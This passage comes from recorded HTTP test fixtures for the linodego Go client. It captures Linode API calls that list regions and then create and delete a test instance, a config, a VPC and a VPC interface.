Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:48:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-9621oneft0f9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 54253750, "label": "go-test-ins-wo-disk-9621oneft0f9", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.202.101"], "ipv6": "1234::5678/128", "image": null, "region": "us-iad", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "82627d6efdfe4053b931690ee476e7b64f186697", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "738" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:48:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-04rkiu32a3w4","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253750/configs method: POST response: body: '{"id": 57334205, "label": "go-test-conf-04rkiu32a3w4", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:48:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1705956539322016000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1705956539322157000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 19442, "label": "go-test-vpc-1705956539322016000", "description": "", "region": "us-iad", "subnets": [{"id": 20509, "label": "linodego-vpc-test-1705956539322157000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "365" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:48:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"purpose":"vpc","subnet_id":20509}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253750/configs/57334205/interfaces method: POST response: body: '{"id": 976030, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 19442, "subnet_id": 20509, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": null}, "ipv6": null, "ip_ranges": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "221" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:48:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253750/configs/57334205/interfaces method: GET response: body: '[{"id": 976030, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 19442, "subnet_id": 20509, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": null}, "ipv6": null, "ip_ranges": []}]' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "223" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:48:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253750/configs/57334205/interfaces/976030 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253750/configs/57334205/interfaces method: GET response: body: '[]' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253750 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/19442 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_ConfigInterfaces_List.yaml000066400000000000000000000744761455402072200342720ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 